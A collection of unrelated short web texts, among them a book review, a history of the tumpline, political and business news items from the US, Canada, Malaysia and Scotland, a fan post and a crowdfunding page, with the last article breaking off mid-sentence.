-A fun, quick listen for fans of Doctor Who  Audiobook: I was unfamiliar with Kevin T. Collins prior to listening to this book, but I'll be keeping an eye out for him in the future. He reads clearly at good volume and does a few voices as well. Tom lucked out with a good narrator who added a little something extra to the book.  Story Review  ------------------  For what it's worth, I've been a member of Tom's online book club Sword & Laser for nearly 5 years, and helping to moderate the group for the last 2.5 years.  Tom might be better known for his work as a tech blogger and podcaster, but to me he's always been someone whose opinions on Science Fiction I've come to value. I picked this book up once I saw that I could get it in audio because I wanted to support Tom, but I seem to have very little time to read lately.  I know Tom has dabbled in writing on and off, especially during Nanowrimo, and that shows here. I haven't read any of his previous works, but this book is well written. Tom does a good job of showing and not telling, which is especially important to me in a book this short.  There are some big ideas about Time Travel, and he is consistent within his own rules for how it works, without spending too much time getting into the "science". This is the kind of big idea, little detail story I tend to associate with older Science Fiction stories.  Oddly, I don't tend to enjoy much classic Science Fiction because I tend to prefer more detailed world building. However I felt this book does a good job in packing in world building as the story progresses. There is a lot of room for imagination, but you're provided enough detail for framing the story he's trying to tell.  The one place I felt was a bit lacking was the characters. There isn't a ton of character development with Pilot X, and apart from the ship Verity and maybe the Secretary, most of the characters feel thin/disposable. I would have liked to read more about the after math of Pilot X's decision than we got.  The book has a bit of a Doctor Who feel, which isn't surprising as Tom has discussed how his inspiration for this book stemmed from that show's own Time War. However Pilot X doesn't feel like the Doctor. Or at least not any of the Doctor's I'm familiar with.  This book does a good job at borrowing an idea from Doctor Who while being it's own thing. I'm glad that I picked it up, and figure that I'll be able to tell people I followed Tom Merritt before he became a successful writer.  16 of 19 people found this review helpful
-* * *  Looking for the inventor of head-carry devices and techniques is like asking who invented shoes. No single origin story exists for a piece of leather, fabric, or rope that is knotted, looped, or buckled around a load and worn across the top of the head. The tumpline precedes even the backpack. It has been used across every populated continent. Congolese women use tumplines to carry charcoal and firewood. Sherpas, perhaps the most famous tumpline users today, have been known to eschew modern packs even when they are offered, preferring the simple strap when carrying gear in the Himalayas. They call tumplines namlo and carry up to their own body weight in baskets called doko.  The English word “tumpline” is thought to be a shortening of the Algonquian words mattump or metump, and it entered the Western lexicon alongside trade. Fur-trapping voyageurs and coureurs de bois learned the method from their Native allies in the 17th and early 18th centuries. It was the only feasible way to carry large bundles of furs and gear through the dense forests between navigable bodies of water in what is now Canada and the northernmost United States.  In 1882, the French Canadian shoemaker Camille Poirier brought the tumpline to the North American masses when he created the Duluth pack. This pack kept the familiar shape of the backpack, with shoulder straps and a fixed-volume storage compartment, but added a tumpline attachment that allowed for the pack to be weighted on the shoulders, the neck, or both. The Duluth pack quickly became a classic; it is still manufactured in Duluth, Minnesota, and imitated by outdoor outfitters around the world.  By the early 20th century, the tumpline’s influence had spread from outfitters to the military. During World War I, in the trenches of the Somme, Staff Captain F.R. Phelan formed the 11th Canadian Brigade Tumpline Company after showing how much manpower and time could be saved if resupplies of the muddy trenches were conducted by tumpline. Phelan had learned the technique while hunting and fishing in the wilderness of Quebec, mirroring the journeys and challenges of the voyageurs.  Phelan’s men were issued an oiled leather tumpline with two long tails. The tails could be tied around larger loads than would fit in a backpack or in the hands. It also could be worn without interfering with their helmets. The men were trained in knots and proper posture, and they slowly increased the weight of their loads until they were carrying twice what had previously been possible, and with equal or greater efficiency. The tumpline made the dangerous process of resupplying the trenches faster and safer.  By 1944, tumpline companies had become standard across the Canadian ground forces. A Popular Mechanics article from that year shows Canadian soldiers using tumplines to carry medical supplies, machine guns, and even to pull sled-style stretchers designed for moving casualties while under fire during World War II.
-Clinton and Sanders at the debate in January. (REUTERS/Randall Hill)  For all of their comments about having been colleagues in the Senate, Bernie Sanders and Hillary Clinton spent about as little time there together as is possible. Clinton was first elected in 2000, leaving at the beginning of 2009 when she was appointed secretary of state. Sanders won election to the senate in 2007 — right as Clinton started her first bid for the presidency.  During 2007 and 2008, as she was in her first protracted battle for the nomination, Clinton missed nearly a third of the votes the Senate took.  As has been noted elsewhere (including by us), when Sanders and Clinton were both there and were both voting, they generally concurred with one another. According to data from Govtrack, the two voted the same way on legislation about 93 percent of the time.  The two disagreed 31 times, on votes ranging from the final approval of bills to motions to cut off filibuster. They’re indicated on the chart below, and listed at the bottom of this article.  (Split votes by a party are those in which neither Yea nor Nay got at least 60 percent of the vote.)  Among the most significant disagreements was on the “Paul Wellstone Mental Health and Addiction Equity Act of 2007” — the legislative vehicle for the Troubled Assets Relief Program, or TARP. Sanders was one of 25 senators to oppose the measure, bucking the majority of both the Democratic and Republican caucuses.  Of course, Sanders wasn’t a Democrat until he decided to run for president. It’s not a surprise, then, that Sanders went against the party majority three times as often as did Clinton.  “I have said many times, you know, sometimes in these campaigns, things get a little bit out of hand,” Sanders said during the most recent debate. “I happen to respect the secretary very much, I hope it’s mutual. And on our worst days, I think it is fair to say we are 100 times better than any Republican candidate.”  Not a shocking statement. After all, the two agree more than 90 percent of the time.  The times the two disagreed:
-According to the independent pollster, the latest decline in Najib’s support was rooted in Malaysia’s lagging economy, as well as the impending implementation of the GST in April. — File pic  KUALA LUMPUR, Feb 27 — Datuk Seri Najib Razak’s approval rating as prime minister fell again in the latest Merdeka Center survey, dropping four percentage points to 44 per cent in January.  According to the independent pollster, the latest decline in Najib’s support was rooted in Malaysia’s lagging economy, as well as the impending implementation of a new consumption tax in April.  “The negative sentiments were largely driven by economic factors, such as concerns over high cost of living, the general condition of the economy, as well as concerns over the impact of the upcoming implementation of the Goods and Services Tax (GST) on the public,” Ibrahim Suffian, who heads Merdeka Center, said in a statement accompanying the survey results.  In the previous edition of the survey last October, Najib recorded a positive rating of 48 per cent, down from 54 per cent in August and his personal best of 72 per cent in May 2010.  According to the latest poll, the Chinese were the least satisfied with Najib, recording an 18 per cent approval rating, while the Indians and Malays registered approval ratings of 44 per cent and 58 per cent respectively.  A total of 43 per cent were dissatisfied or angry with the government, while 38 per cent said they were happy with its performance.  Only about one in 10 Chinese respondents, or 11 per cent, expressed happiness with the government, compared to 34 per cent of Indians and 52 per cent of Malays.  Almost half of participants, or 47 per cent, believed that the country was headed in the wrong direction, citing high living costs and an unfavourable economy.  “Other reasons driving negative perceptions about the country’s direction includes perceived poor administration and continued racial polarisation in society,” said Ibrahim.  The 39 per cent who felt Malaysia was on a positive track based their views on a sense of security, favourable economic conditions and infrastructure development, as well as continued government welfare.  According to the poll, voters were most concerned about the economy at 62 per cent.  The survey, which was conducted from January 21 to 30, sampled 1,008 voters aged 21 and above across peninsula Malaysia.
-There’s nothing Hollywood loves more than a wildly popular book that’s ripe for adapting—except, of course, for a wildly popular series of books that’s ripe for adapting. Today The Hunger Games: Mockingjay Part 1 hits theaters, the third of four planned movies based on Suzanne Collins’ best-selling young-adult trilogy. Taking a page (sorry) from the producers of Harry Potter and Twilight, the franchise’s final novel will be stretched into two films. In his Los Angeles Times review, Kenneth Turan dismissed Mockingjay the first as a mere “place-holder,” its primary function being “to smooth the transition from its hugely successful predecessors to a presumably glorious finale one year hence.”  When it comes to milking a story for all it’s worth, director Peter Jackson sets the standard, notoriously squeezing three films out of J.R.R. Tolkien’s 310-page The Hobbit. These feats of rationing are borderline miraculous—like a tiny supply of oil burning for eight nights, or a crowd of thousands fed with only five loaves of bread and two fish, depending on which flavor of religious simile you’d prefer.  We looked at seven book-to-movie franchises—The Lord of the Rings, The Chronicles of Narnia, The Hobbit, Harry Potter, The Girl With the Dragon Tattoo, The Hunger Games and Twilight—comparing the total page count with the cumulative duration of the films to determine how many pages per minute each series covers. For better or worse, which movies most aggressively condense their source material, and which are guilty of watering down the vodka?  As expected, Jackson’s Hobbit series boasts the lowest pages per minute, with a figure of only 0.6, while the four forgettable Narnia movies come in a distant second at 1.4. But we were surprised to discover that—even with a two-part finale—the five Twilight movies sprint through Stephenie Meyer’s four long-winded novels at a healthy clip of four pages per minute. (If you’ve ever read Meyer’s prose, you’ll agree that this was a smart call on the filmmakers’ part.)  A few boring but necessary methodological notes: Wherever possible, we used the page counts from the original hardcover editions of each book. We considered the original Swedish film adaptations of the Dragon Tattoo series—only the first book has been made into a movie in the United States—but stuck to the novels’ English translations, for consistency’s sake. Because the final Hobbit and Hunger Games installments have yet to be released, we extrapolated their run times based on those of their prequels. The Hobbit film series technically borrows some of its source material from appendices to the Lord of the Rings novels, but shh.
-Independent grocery chains affiliated with the Centrella cooperative are in negotiations to buy as many as 10 Dominick's stores, sources familiar with the talks said.  Grocers affiliated with Centrella, the brand name used by Joliet-based Central Grocers Inc., are looking to purchase stores as a group in both the city and suburbs, sources said. It's unclear which Dominick's locations Centrella would buy on behalf of its member firms.  The group has hired food industry investment banker David Schoeder to negotiate the package deal with Dominick's parent, Pleasanton, Calif.-based Safeway Inc., which announced it would leave the Chicago market.  Mr. Schoeder, a principal with Food Partners LLC in Washington, declined to comment. A Centrella executive could not immediately be reached this evening.  Centrella grocers looking to open stores in soon-to-close Dominick's around the region include Tony's Finer Foods, Treasure Island and Strack & Van Til, among others, according to the sources. The co-op has more than 150 members.  Tony Ingraffia, president of South Barrington-based Tony's Finer Foods Inc., did not return calls. Christ Kamberos, vice president of development at Treasure Island Foods Inc., declined to comment. An executive with Highland, Ind.-based Strack & Van Til did not return a call.  Jewel-Osco, meanwhile, is suspending plans to snap up additional Dominick's on the market here. The firm, owned by private-equity firm Cerberus Capital Management LP, is no longer looking to buy additional Dominick's stores that are currently open, said an Itasca-based spokeswoman for Jewel.  When Safeway announced in October that it would leave the Chicago market, the firm operated 72 stores across the region. No more than 55 remain.  Earlier this month, Milwaukee-based Roundy's Inc. announced a $36 million deal for 11 Dominick's. Jewel-Osco has purchased four. And Dominick's leases are expiring at properties in Matteson and Morton Grove and the landlords there are pursuing other options.  A Safeway spokeswoman did not return a call.  Jewel announced its Dominick's acquisitions in October, stores at 1340 S. Canal St. and 2550 N. Clybourn Ave. in Chicago, and in Homer Glen and Glenview. It's currently operating those outlets as Dominick's, with plans to convert them into Jewel stores by mid-January, according to Jewel spokeswoman Allison Sperling.  The grocer won't buy any more operating Dominick's stores, Ms. Sperling said. Instead, Jewel will wait to see what's left after Safeway shutters its chain Dec. 28.  “In the near future, we will consider any opportunities that arise” to take over closed Dominick's, said Ms. Sperling, who declined to elaborate further.  Chicago Tribune first reported on Jewel-Osco's decision not to pursue Dominick's that are currently open.  In other Dominick's developments, Safeway did not renew its lease for its store at 4233 W. Lincoln Hwy. in south suburban Matteson. A spokesman for Indianapolis-based Simon Property Group, which owns the retail property that Dominick's is leaving, said in a recent email that Simon is trying to find a new tenant for the space.  In Morton Grove, Dominick's lease is expiring in April, a source said, and the landlord plans to pursue a retail-focused redevelopment project there.
-Now, all the political engagement around heroin has helped create what Timothy Rourke, the chairman of the New Hampshire Governor’s Commission on Alcohol and Drug Abuse, says is an impetus for change, not unlike the confluence of events that finally produced a response to the AIDS epidemic. “You have a lot of people dying, it’s no longer just ‘those people,’ ” he said. “You have people with lived experience demanding better treatment, and you have really good data.”  A More Forgiving Approach  Among recent bills passed by the New Hampshire legislature in response is one that gives friends and family access to naloxone, the anti-overdose medication. Mr. Griffin, a few months after his daughter died, was among those testifying for the bill. It was set to pass in May but would not take effect until January 2016 — until Mr. Griffin warned lawmakers that too many lives could be lost in that six-month gap. At his urging, the bill was amended to take effect as soon as it was signed into law. It went into effect June 2.  Other parents like him have successfully lobbied for similar measures across the country. Almost all states now have laws or pilot programs making it easier for emergency medical workers or family and friends to obtain naloxone. And 32 states have passed “good Samaritan” laws that protect people from prosecution, at least for low-level offenses, if they call 911 to report an overdose. A generation ago when civil rights activists denounced as racist the push to punish crack-cocaine crimes, largely involving blacks, far more severely than powder-cocaine crimes, involving whites, political figures of both parties defended those policies as necessary to control violent crime.  But today, with heroin ravaging largely white communities in the Northeast and Midwest, and with violent crime largely down, the mood is more forgiving.  “Both the image and reality is that this is a white and often middle-class problem,” said Mr. Mauer of the Sentencing Project. “And appropriately so, we’re having a much broader conversation about prevention and treatment, and trying to be constructive in responding to this problem. This is good. I don’t think we should lock up white kids to show we’re being equal.”  So officers like Eric Adams, a white former undercover narcotics detective in Laconia, are finding new ways to respond. He is deployed full time now by the Police Department to reach out to people who have overdosed and help them get treatment.
-The news Wednesday that Portugal is repealing four of its national holidays to spur greater economic growth has gotten people thinking about what the balance should be between free time and the need to keep the economy going.  And apparently Canada leans towards keeping the economy going -- more so than any other developed country.  PHOTOS: THE 10 COUNTRIES WITH THE MOST HOLIDAYS  PHOTOS: THE 10 COUNTRIES WITH THE LEAST HOLIDAYS  According to a study from Mercer Consulting, released late last year, Canada has fewer government-mandated holidays than any developed country, including even the United States.  Canada has 19 mandated days off, including calendar holidays and minimum vacation requirements, and excluding some provincial holidays.  By comparison, the United States has about 25 days, the survey found. That compares to 36 days in the United Kingdom, 30 in Australia, and 29 in Germany.  (The U.S. number was calculated differently. Because the U.S. is the only developed country not to mandate any paid vacation time, Mercer calculated the number using the typical minimum given by companies.)  While Canada may be worst off among developed nations, employees still get considerably more time off than in the developing countries of Asia, the survey found. China offers a minimum 10 days off annually, while Thailand and the Phillippines have the least, with six and five days off, respectively.  At the other end of the spectrum were European countries, offering the most generous holidays. Austria tops the list, with 38 days, followed by Greece at 37 ... perhaps an indicator that too much holiday time may not be a good idea?  THE 10 COUNTRIES WITH THE MOST HOLIDAYS  Photo gallery The 10 Countries With The Most Holidays See Gallery Vacation Time In Canada Is Less Than Any Developed Country, Survey Finds 1 / 10  The 10 Countries With The Most Holidays 1 / 10  THE 10 COUNTRIES WITH THE LEAST HOLIDAYS
-In interviews with House Oversight Committee investigators, Cincinnati IRS employees said that they believed that targeting of conservative groups came from Washington, not from a couple of “rogue agents. “  Sunday the House Oversight Committee released partial transcripts of Oversight Committee investigators’ interviews with unnamed Cincinnati IRS employees, which contradicts the line coming from the White House.  “It’s impossible,” an IRS employee responded to an investigator’s question about the allegations that the targeting of conservative groups was due to “two ‘rogue agents.” “As an agent we are controlled by many, many people. We have to submit many, many reports. So the chance of two agents being rogue and doing things like that could never happen.”  Answering a question about the employee’s reaction to news reports that the targeting was contained in Cincinnati and the fault of the Cincinnati office, the employee said that Washington has been throwing them under the bus.  “Well, it’s hard to answer the question because in my mind I still hear people saying we were low‑level employees, so we were lower than dirt, according to people in D.C. So, take it for what it is,” a Cincinnati IRS employee said. “They were basically throwing us underneath the bus.”  The employee further noted that it was a supervisor who requested they do a search for tea party and similar applications in March of 2010.  “Did [your supervisor] give you any indication of the need for the search, any more context?” an investigator asked.  “He told me that Washington, D.C., wanted some cases,” the employee responded, going on to answer that by April 2010 the group was handling fewer than 40 cases and had sent seven cases to Washington, D.C.  When asked for the reason behind the request that cases be sent to Washington, D.C. the employee responded, “He said Washington, D.C. wanted seven. Because at one point I believe I heard they were thinking 10, but it came down to seven. I said okay, seven.”  The employee explained that the Cincinnati office sent the first seven cases that had come into the system.  The employee further noted that Washington, D.C. had additionally requested the applications or parts of the applications for two specific groups.  Investigator: “But just to be clear, she told you the specific names of these applicants.”  IRS employee: “Yes.”  Investigator: “And she told you that Washington, D.C. had requested these two specific applications be sent to D.C.”  IRS employee: “Yes, or parts of them.”  According to the partial transcript, the employee noted that this was an unusual request.  The employee added that the Cincinnati IRS employees were just following orders and that the employee believed those instructions came from Washington, D.C.  Investigator: “So is it your perspective that ultimately the responsible parties for the decisions that were reported by the IG are not in the Cincinnati office?”  IRS employee: “I don’t know how to answer that question. I mean, from an agent standpoint, we didn’t do anything wrong. We followed directions based on other people telling us what to do.”  Investigator: “And you ultimately followed directions from Washington; is that correct?”  IRS employee: “If direction had come down from Washington, yes.”  Investigator: “But with respect to the particular scrutiny that was given to Tea Party applications, those directions emanated from Washington; is that right?”  IRS employee: “I believe so.”  Another interviewee, described by the Oversight Committee as a more senior IRS employee, complained about micromanagement from Washington, D.C. that ultimately led the employee to apply for another job in July 2010.  “It was the whole Tea Party. It was the whole picture. I mean, it was the micromanagement. The fact that the subject area was extremely sensitive and it was something that I didn’t want to be associated with,” the more senior IRS employee told an investigator who was asking about his decision to find another job.  The more senior employee added that what was going on was “inappropriate.”  Investigator: “Why didn’t you want to be associated with it?”  IRS employee: “For what happened now. I mean, rogue agent? Even though I was taking all my direction from EO Technical [Washington, D.C], I didn’t want my name in the paper for being this rogue agent for a project I had no control over.”  Investigator: “Did you think there was something inappropriate about what was happening in 2010?”  IRS employee: “Yes. The inappropriateness was not processing these applications fairly and timely.”  Sunday, Committee Chairman Darrell Issa unveiled that committee’s findings on CNN, promised that the full transcripts will come out, and called White House spokesman Jay Carney a “paid liar.”  Follow Caroline on Twitter
-Kentucky political blogger Jim Higdon reports on a response from the Rand Paul campaign to a question about his stance on the construction of an Islamic community center at a location in Lower Manhattan formerly occupied by a Burlington Coat Factory:  Given all the bad crazy going around regarding allegedly small-government conservatives trying to dictate New York City zoning laws in regard to the proposed lower Manhattan mosque, which has been intentionally mislabeled as the “Ground Zero Mosque” for greater effect upon the ignorant and willfully ignorant — MCL wondered how the Kentucky senate candidates feel about it.  Dr. Rand Paul’s new spokesperson, Gary Howard, sent us this quick note:  We are focused on this race and the issues affecting Kentucky. We don’t want New York intervening in our local Kentucky issues, and we don’t look to interfere with New York’s local issues.
-Every local authority in Scotland will ignore the terms of the Government’s contentious Trade Union Bill, making the legislation unworkable north of the border.  The Independent on Sunday can reveal that all 32 Scottish councils will refuse to implement the conditions of the bill when it becomes law. Those conditions include removing the process of check-offs whereby union subscriptions are deducted from the salaries of workers who are members of a trade union.  Unions have complained that this is a cynical ploy to reduce their funding and will waste their resources in renewing subscriptions. They are also infuriated that the bill constrains the amount of paid time off that public sector union representatives can take for those responsibilities, a move the authorities will also oppose.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  Labour, which has nearly one-third of Scotland’s 1,223 councillors, is worried that other provisions in the bill would cut off much of the party’s crucial union funding. Under the current system union members have to opt out of paying an affiliation fee to Labour; the change would require them to opt in, making payment less likely.  Union leaders believe the move could help turn opinion against the bill across the country, in a repeat of Margaret Thatcher’s Poll Tax debacle. Opposition to the hated levy started in Scotland, where trials were run in 1989, before it was dropped and replaced by the Council Tax four years later.  Councillor Billy Hendry is the human resources spokesman for the Convention of Scottish Local Authorities, which represents 28 of the 32 Scottish councils. He said: “We already have very effective and constructive arrangements which allow us as employers to negotiate pay and conditions with the trade unions, collaborate where we can on issues of joint interest and that allow us to resolve local or national disputes.  “This works for the people of Scotland and works for us when delivering vital public services. This bill, if enacted, would endanger all of this and may even lead to more industrial unrest. No one benefits from this.”  Renfrewshire Council leader Mark MacMillan said: “We recently agreed to oppose legislation which is a cynical political attack by the Tory Government on the ability of trade unions to represent working people effectively. We will continue to support arrangements that enable trade union representatives with the time and resources to represent their members.”  In a letter to the Business Secretary, Sajid Javid, Mr MacMillan added: “I believe that the bill undermines ordinary working people and their right to a voice at work. I would urge you to reconsider the bill and reflect on the negative consequences of seeking to implement the provisions of the bill.”  Edward McAvoy, the leader of South Lanarkshire Council, said: “I don’t think the bill will happen, and I hope it doesn’t, in Scotland.”  Unions have demanded that the Scottish Government refuse to implement the bill, which sets a far higher threshold for validating ballots on industrial action, so that strikes would become extremely rare. Unions would have to secure the support for a strike of more than 50 per cent of those entitled to vote, rather than a straight majority of those who actually vote.  There are suggestions that the Scottish Government should tell Police Scotland, which has devolved powers, that violations of the new law would be a low priority, meaning breaches would be largely ignored. Strikes that would be illegal in England or Wales could then go ahead in Scotland.  Gary Smith, the GMB union’s acting secretary in Scotland, said: “This is an assault on civil liberties. The Tories are trying to smash one of the last bastions of opposition to inequality and social injustice. The Scottish Government needs to say clearly that they will not apply the bill in Scotland. This is a new generation’s poll tax moment.”  A Scottish Government spokesman said: “We have set out our clear and strong opposition to the proposals in the Trade Union Bill, which we regard as a totally unjustified attack on workers’ rights. We will continue to oppose these plans in the strongest possible way, and we urge the UK Government to look again at these deeply flawed proposals.”  But a senior Conservative backbencher warned that the SNP, which is in government north of the border, was using the issue in its push for a second independence referendum. The source said: “This all plays into the wider dynamic of the way the SNP’s continuous independence campaign is going. The more the SNP can create irritation and division, the more it plays into their hands.”  A business department spokeswoman said: “Once secondary legislation is made, we expect local authorities and public bodies to comply with the law.”  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  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-Anonymous said: remember the episode cat fingers when the gems went out to sea in a tiny boat? that was ridiculous and kind of adorable. when are they gonna do that again  The Gem sloop is like my favorite thing. It’s so tiny  Like it just barely fits the three of them. It’s only as big as it needs to be so they gotta sit on top of each other. There’s something really adorable about that. And, like, they must’ve had the boat for a while since Amethyst just says “the Gem sloop” like its a thing they normally have. So did they have it when Rose was around? Did they ever all go on the boat with Rose? They couldn’t all possibly fit then, did Amethyst and Pearl sit in Rose’s lap? That would be adorable.  They don’t use it anymore, its like Steven’s raft ended up being bigger than the boat so they were like “Why are we using the tiny boat when we have that nice raft?” so they just used the raft from now on. I want the tiny boat to make a comeback, though. I want them all piled into the tiny boat, struggling not to tip it over. I want more adventures in the tiny Gem boat
-THE PROJECT  Kentucky 120 is the culmination of my 10-year quest to make landscape photographs of every county in Kentucky.  This on-again, off-again journey on the back roads of Kentucky produced nearly 10,000 images. After culling down to a few hundred images, I enlisted artist friends to select the strongest image from each county.  This body of work is the foundation for the book "Kentucky 120."  THE BOOK  Designed as an art book, the 160 page hardback coffee table book features 120 photographs by Ed Lawrence. Each 8" x 8" page frames one square photograph from each county, with a thumbnail index in the back. The book will be printed on heavy weight, bright white, matte paper.  While the photographs do not intentionally represent each county, collectively the 120 landscapes paint a beautiful portrait of Kentucky.  The book is fully designed and just about ready to go to the printer. I'm just waiting to add your name to the acknowledgement page and raise at least $12,000 to pay for the first printing.  THE PUBLISHER  I established ZEDZ press® as a vehicle to publish books about regional culture, art and photography. "Kentucky 120" will be the first book published with the ZEDZ press mark. As a publisher, I hope to take on projects by other Kentucky artists and photographers in the future.  THE EXHIBIT  A selection of 36 photographs from the Kentucky 120 collection are on exhibit at Alfalfa Restaurant, 141 East Main St., Lexington, Kentucky . The show runs from September 20 (Gallery Hop night) through the end of October.  KICKSTARTER ENERGIZER PARTY  There will be a celebration on Sunday, September 29, 2013 from 5 to 7 p.m. at Alfalfa Restaurant featuring Kentucky home-style refreshments and a fiddle jam session. If you've got a fiddle; bring it! We'll just see what happens.
-Houston rodeo removes offensive Disney cartoon begin sold at its fairgrounds  A display at the NRG Center during the Houston Rodeo features bootleg versions of the movie "Song of the South". The movie is widely considered offensive by today's standards.  Keep clicking to see other cartoons that are considered offensive or have been banned. Song of the SouthA display at the NRG Center during the Houston Rodeo features bootleg versions of the movie "Song of the South". The movie is widely considered offensive by today's standards.Keep clicking to see other cartoons that are considered offensive or have been banned. less  A display at the NRG Center during the Houston Rodeo features bootleg versions of the movie "Song of the South". The movie is widely considered offensive by today's standards.  Keep Song of the SouthA display at the NRG Center during the Houston Rodeo features bootleg versions of the movie "Song of the South". The movie is widely considered offensive by today's standards.Keep ... more Photo: Camilo Smith Photo: Camilo Smith Image 1 of / 45 Caption Close Houston rodeo removes offensive Disney cartoon begin sold at its fairgrounds 1 / 45 Back to Gallery  Some cartoons and movies made in the 1950s and 1960s don't hold up today mainly because of stereotypes. While the Warner Bros. character Speedy Gonzalez, a stereotype of Mexican immigrants, has stood the test of time, other characters from television and movies haven't. Take for instance Uncle Remus and the animated characters from "Song of the South."  "The film's live-action depictions of Uncle Remus and his fellow smilin', Massah-servin' black folk are embarrassingly racist," according to an article on Slate.com. The movie has never been released on DVD, but is available in underground bootleg networks online and in some stores. The movie was on display and available for purchase on DVD at this year's RodeoHouston. However, once rodeo officials were contacted about the movie by La Voz, it was later removed.  "The Houston Livestock Show and Rodeo was made aware today that one of its vendors was selling copies of a movie that has not been released for home viewing in the United States," according to a statement from rodeo Officials. "The copies have been removed from the vendor's booth."  Click on the slideshow above to learn more about cartoons that have racial stereotypes or have been banned.
-Premier League: Villas-Boas insists he has the confidence of Spurs board and players  Andre Villas-Boas denies reports of a rift between himself and the Tottenham players and boardroom. Andre Villas-Boas denies reports of a rift between himself and the Tottenham players and boardroom.  Newspaper reports claimed Villas-Boas was on the brink of being sacked following Sunday's 6-0 thrashing at Manchester City.  After a flurry of bets, one bookmaker made Villas-Boas odds-on favourite to become the next top-flight manager to lose his job, but the Portuguese is adamant his position is secure.  The former Chelsea manager, who spent almost £110m in the summer, admits the Spurs board aired their misgivings about the defeat at the Etihad Stadium to him in a meeting after the game.  However, Villas-Boas bristled at suggestions he was on the verge of the sack at a tense press conference ahead of Thursday's Europa clash with Tromso, 200 miles inside the Arctic Circle.  "I have the confidence of the board. I have the confidence of my players and I have to move on to do a proper job," he said.  "The only conversation (the board and I) had recently was two or three days ago.  "The board is of the same opinion that everything went wrong and we hope to get some response in the future.  "It was an ordinary meeting. We only spoke very briefly about the game."  Spurs chairman Daniel Levy has not come out to publicly back Villas-Boas, and the Portuguese coach does not want him to either.  "No. No. That's not his style, and neither do I ask for things like that," said Villas-Boas, who says he has become used to rumours and gossip since moving to England for his ill-fated spell with Chelsea.  "I am immune (to criticism) right now," he added. "I used to read a lot into situations like this, into pressure points when I was at Chelsea, but not anymore. I am very indifferent.  "There is only one (area) that I come under pressure from, which is the press."  When queried about alleged problems with his players, the Spurs boss said: "That can only come from creative minds."  Tottenham are three points better off than they were at this stage last season but Villas-Boas admits he is concerned by their form in front of goal.  The north Londoners have had 168 attempts at goal this season, more than any other side in the top flight, but they also have the worst conversion rate - 5.4 per cent.  "The only thing that we can hold on at the moment is the reality that we don't score enough and we are worried about it," said Villas-Boas.  "We have to promote situations where we can do better with our chances. Obviously this is something we are working on and going to continue working on in the future.  "It doesn't mean that problems like this can be solved because sometimes you go through periods, although you try and you create so many chances, you don't actually score.  "We have great scoring ability in our team; we are the team that creates the most chances in the Premier League, so the chances are there but we are not finishing them off.  "We don't put into doubt the quality of our strikers but we haven't found the finishing touch yet. The only thing that we can do is continue to work."  Villas Boas does not expect to sign a striker in January and has no intention of letting Jermain Defoe leave.  "(Roberto) Soldado, Jermain Defoe and (Emmanuel) Adebayor are all proven goalscorers, so we can't really get much better than these three.  "The only thing that we have to do, if we are not scoring from the opportunities we are creating, is making sure that we double the amount of opportunities we create to make sure a couple of them finish in the back of the net."
-The Ontario government will announce details this morning of its plans for high-occupancy toll lanes — and what it will cost drivers to use them.  The announcement is scheduled for 9:30 a.m. ET Monday. CBC.ca will live-stream the announcement.  The so-called HOT lanes will allow motorists without passengers to pay to use High-Occupancy-Vehicle (HOV) lanes, which were designed to encourage carpooling.  The plan is to create HOT lanes only where there are existing HOV lanes, which are free for any driver with at least one passenger — but carpooling and toll lanes could also be created on any new or expanded highways.  "On the provincial highway network, we will not be taking out general purpose lanes for the HOTs," Transportation Minister Steve Del Duca said early this fall.  Opposition at Queen's Park  Del Duca has also said that the province would be willing to work with any municipality that wants to add tolls to existing roads under their jurisdiction, such as Toronto's Gardiner Expressway and Don Valley Parkway.  He has also said he wants to use the lessons learned from the temporary HOV lanes set up on Toronto-area highways last summer for the Pan Am Games to develop the plan for toll lanes.  The two opposition parties at Queen's Park have already gone on record denouncing the plan.  "We shouldn't be taxing existing roadways," said Progressive Conservative Leader Patrick Brown.  "People have paid for those roads through their taxes, and that shouldn't be an option that the government looks at," he said.  The New Democrats, meanwhile, have linked the HOT lanes with the name of a high-end automaker, calling them 'Lexus lanes' — and something that only the wealthiest of motorists would be able to afford.  "The Lexus lanes are not something I think is the right way to go," NDP Leader Andrea Horwath said in the past.
-OTTAWA—The Harper government’s decision to grant Bell Helicopter Canada a special weight exemption for one of its aircraft strained relations between Transport Canada and aviation safety regulators in the U.S. and Europe, federal documents show.  A Bell 429 helicopter lands on a hospital landing pad following a test flight on Aug. 16, 2011, in Farmington, N.M. The Harper government's decision to grant Bell Helicopter Canada a special weight exemption for one of its aircraft put a severe strain on relations between Transport Canada and aviation safety regulators in both the U.S. and Europe. ( Brandon Iwamoto / THE CANADIAN PRESS file photo )  The declaration, involving the Bell model 429, was made over strenuous objections from the U.S. Federal Aviation Administration and the European Aviation Safety Agency EASA, which complained that Transport Canada kept them in the dark about the significant regulatory change. The adjustment, also the subject of a court challenge, increased the maximum weight gross weight limit to 3,400 kilograms, and allowed Bell to enter and recently win a $172-million contract to provide 15 light helicopters to the coast guard. Documents obtained by The Canadian Press under Access to Information showed both international agencies felt sandbagged prior to the easing of the weight restriction in December 2011.  Article Continued Below  “EASA expressed disappointment that we had not given them a heads up about this exemption and about our intention to consider it,” said a June 17, 2011, email from Transport Canada’s director of policy and regulatory authority. Emails between the agencies say the exception has also given the Mirabel, Que.-based company, a subsidiary of U.S. conglomerate Textron, a competitive advantage in more than a dozen other countries around the world. Days after the complaint, the department’s director of national aircraft certification wrote to the FAA that Canada have every intention of being “as transparent as possible” on a decision “we know may have repercussions on the rotocraft industry world.” U.S. and European officials were deeply skeptical, worried about the impact on safety and wondered whether Canada was making the change to just please Bell. They were also uneasy about the secrecy and urged Canadian officials to bring the discussion out of the back rooms. “We must also consider whether this is an industry-wide concern, or a single companies (sic) business concern,” said a U.S. official, whose name was censored from an email, dated July 7, 2011.  “In other words, what’s good for Bell may or may not be good for the industry. If it is an industry wide issue, we would welcome a public debate with industry and regulators to consider the need for future rulemaking.” One day later, the Europeans added their voice saying: “It would be more beneficial to consider an open rule-making process.”  Article Continued Below  Bell president Barry Kohler said his company is not the only one that has been granted weight exemptions at one time or another. He said the manufacturer is currently working with the FAA, EASA and the industry to modernize the regulations that govern this issue. The intent is to have rules that “more accurately meet the needs of modern rotorcraft operations in a way that will more efficiently introduce newer technologies that can improve safety,” he said in an email. The added weight is critical for commercial clients, such as helicopter ambulance and law enforcement, “who need the increased range and load for 